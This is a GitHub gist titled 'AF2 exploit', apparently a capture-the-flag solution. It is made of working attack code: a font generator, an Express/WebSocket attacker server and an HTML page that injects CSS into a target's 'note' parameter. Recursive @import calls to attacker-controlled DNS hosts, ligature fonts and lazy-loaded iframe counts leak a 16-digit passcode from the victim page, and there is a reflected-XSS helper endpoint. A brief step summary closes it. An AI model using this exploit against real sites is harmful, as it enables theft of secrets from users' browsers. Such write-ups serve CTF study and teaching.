Skip to content

Instantly share code, notes, and snippets.

@strellic
Created October 24, 2021 18:15
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save strellic/6011c63fdac4b88e4510c49d494de5c2 to your computer and use it in GitHub Desktop.
Save strellic/6011c63fdac4b88e4510c49d494de5c2 to your computer and use it in GitHub Desktop.
AF2 exploit
const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');
function createFont(prefix, name, charsToLigature) {
let font = {
"defs": {
"font": {
"@": {
"id": name,
"horiz-adv-x": "0"
},
"font-face": {
"@": {
"font-family": name,
"units-per-em": "16"
}
},
"glyph": []
}
}
};
// give glyphs an actual path so you can see whether they're loaded
let glyphs = font.defs.font.glyph;
for (let c = 0x20; c <= 0x7e; c += 1) {
const glyph = {
"@": {
"unicode": String.fromCharCode(c),
"horiz-adv-x": "0",
"d": "M 4 8 L 10 1 L 13 0 L 12 3 L 5 9 C 6 10 6 11 7 10 C 7 11 8 12 7 12 A 1.42 1.42 0 0 1 6 13 A 5 5 0 0 0 4 10 Q 3.5 9.9 3.5 10.5 T 2 11.8 T 1.2 11 T 2.5 9.5 T 3 9 A 5 5 90 0 0 0 7 A 1.42 1.42 0 0 1 1 6 C 1 5 2 6 3 6 C 2 7 3 7 4 8 M 10 1 L 10 3 L 12 3 L 10.2 2.8 L 10 1",
}
};
glyphs.push(glyph);
}
charsToLigature.forEach(c => {
const glyph = {
"@": {
"unicode": prefix + c,
"horiz-adv-x": "8000",
"d": "M 4 8 L 10 1 L 13 0 L 12 3 L 5 9 C 6 10 6 11 7 10 C 7 11 8 12 7 12 A 1.42 1.42 0 0 1 6 13 A 5 5 0 0 0 4 10 Q 3.5 9.9 3.5 10.5 T 2 11.8 T 1.2 11 T 2.5 9.5 T 3 9 A 5 5 90 0 0 0 7 A 1.42 1.42 0 0 1 1 6 C 1 5 2 6 3 6 C 2 7 3 7 4 8 M 10 1 L 10 3 L 12 3 L 10.2 2.8 L 10 1",
}
}
glyphs.push(glyph);
});
const xml = js2xmlparser.parse("svg", font);
//console.log(xml);
const tmpobj = tmp.dirSync();
fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);
child_process.spawnSync("/usr/bin/fontforge", [
`${__dirname}/script.fontforge`,
`${tmpobj.name}/font.svg`
]);
const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);
rimraf.sync(tmpobj.name);
const b64 = "data:application/x-font-woff;base64," + woff.toString('base64');
return b64;
}
module.exports = { createFont };
const express = require("express");
const http = require('http');
const { WebSocketServer } = require('ws');
const app = express();
const HOST = "http://host";
const DNS = "dns.host.com";
const TARGET = "http://localhost:9000";
const PORT = process.env.PORT || 80;
const font = require("./font.js");
app.set("view engine", "hbs");
app.use(express.urlencoded({ extended: false }));
app.use((req, res, next) => {
console.log(req.originalUrl, known, alphabet);
res.locals.target = encodeURIComponent(TARGET);
res.locals.host = encodeURIComponent(HOST);
res.locals.dns = encodeURIComponent(DNS);
next();
});
let cssMap = new Map();
let cssMap2 = new Map();
let cssMap3 = new Map();
// 3 different polling for 3 recursive imports
// lmfao
app.get("/c/:i", (req, res) => {
let i = req.params.i;
cssMap.set(parseInt(i), (r) => res.end(r));
});
app.get("/c2/:i", (req, res) => {
let i = req.params.i;
cssMap2.set(parseInt(i), (r) => res.end(r));
});
app.get("/c3/:i", (req, res) => {
let i = req.params.i;
cssMap3.set(parseInt(i), (r) => res.end(r));
});
app.get("/", (req, res) => res.render("pwn"));
app.get("/xss", (req, res) => res.end(req.query.xss));
const server = http.createServer(app);
const wss = new WebSocketServer({ noServer: true });
server.on('upgrade', (request, socket, head) => {
wss.handleUpgrade(request, socket, head, (ws) => {
wss.emit('connection', ws, request);
});
});
let known = "";
let alphabet = "01234567";
let checking = ""
let i = 0;
let stopperNum = 1;
const genCSS = () => {
checking = alphabet.slice(0, alphabet.length / 2);
console.log("passcode: " + known, Array.from(checking));
let woff = font.createFont("passcode: " + known, `pwn-${i}`, Array.from(checking));
let css = `@import url(http://c${i + 1}.${DNS}/c/${i + 1});
@import url(http://2c${i + 1}.${DNS}/c2/${i + 1});
@import url(http://3c${i + 1}.${DNS}/c3/${i + 1});
@font-face {
font-family: "pwn-${i}";
src: url(${woff});
}
h1${":nth-child(1)".repeat(i)} {
font-family: "pwn-${i}";
}
`;
for(let j = i; j >= 0; j--) {
css += `
${(`#b${j}`).repeat(i + 1)} {
display: none;
}
`;
}
return css;
};
const sleep = (delay) => new Promise(r => setTimeout(r, delay));
const pwn = async (ws) => {
while(!cssMap3.get(i)) {
await sleep(1);
}
cssMap3.get(i)(`${`#stopper`.repeat(++stopperNum)} { display: block };`);
await sleep(100);
while(!cssMap.get(i)) {
await sleep(1);
}
cssMap.get(i)(genCSS());
await sleep(100);
while(!cssMap2.get(i)) {
await sleep(1);
}
cssMap2.get(i)(`${`#stopper`.repeat(++stopperNum)} { display: none };`);
await sleep(100);
ws.send(JSON.stringify({ type: "check", num: i }));
i++;
};
wss.on('connection', (ws, request) => {
ws.on('message', async (message) => {
let data = JSON.parse(message);
console.log(data);
if(data.type === "start") {
pwn(ws);
}
if(data.type === "result") {
let frames = data.frames;
if(data.result) {
alphabet = checking;
}
else {
alphabet = alphabet.replace(checking, "");
}
if(alphabet.length === 1) {
console.log("yoooooo", alphabet, known + alphabet);
known += alphabet;
alphabet = "01234567";
if(known.length === 16) {
console.log("gg", known);
return;
}
}
if(alphabet.length === 0) {
alphabet = "01234567";
}
await sleep(250);
pwn(ws);
}
});
});
server.listen(PORT, () => console.log(`af2 solver listening on port ${PORT}`));
<!DOCTYPE html>
<body>
<script>
let target = decodeURIComponent(`{{target}}`);
let host = decodeURIComponent("{{host}}");
let dns = decodeURIComponent("{{dns}}");
let createIframe = (i) => `<div id=b${i}></div><iframe loading=lazy id=i${i} src='/login_success.html'></iframe>`;
let html = "<div style='height:6000vh;width:6000vw;' id='stopper'></div>";
for(let i = 0; i < 55; i++) {
html += createIframe(i);
}
let css = `@import url(http://c0.${dns}/c/0);
@import url(http://2c0.${dns}/c2/0);
@import url(http://3c0.${dns}/c3/0);
body {
white-space: nowrap;
}
h1,h2 {
display: inline;
}
div {
height:6000vh;
width:6000vw;
background-color: red;
display:block;
}
h1 {
background-color:blue;
}
iframe {
height: 50px;
width: 50px;
}
`;
html += `<style>${css}</style>`;
console.log(html);
html = encodeURIComponent(html);
console.log(html.length);
const sleep = (delay) => new Promise(r => setTimeout(r, delay));
const ws = new WebSocket(host.replace("https", "wss").replace("http", "ws"));
const send = (data) => {
ws.send(JSON.stringify(data));
};
let win;
ws.onmessage = (e) => {
data = JSON.parse(e.data);
if(data.type === "check") {
let cnt = win.frames[data.num].frames.length;
if(cnt !== 1) {
send({type: "result", result: true, cnt});
}
else {
send({type: "result", result: false, cnt});
}
}
};
const pwn = async () => {
win = window.open(`${target}/?note=` + html);
await sleep(500);
win.focus();
await sleep(500);
send({type: "start"});
}
pwn();
</script>
</body>
#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")

basically:

  1. recursive css imports to dynamically send over new fonts on the fly
  2. make font generator that makes ligatures with your chosen prefixes very large to block the whole page
  3. lazy loading iframe the /login_success.html page, and check win.frame[n].length to see whether that page loaded
  4. die for 4 - 5 hours implementing a way too complex div blocker/stopper system to make sure that the iframes don't randomly load
  5. ????
  6. profit

the code is very spaghetti, don't judge, but it works™

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment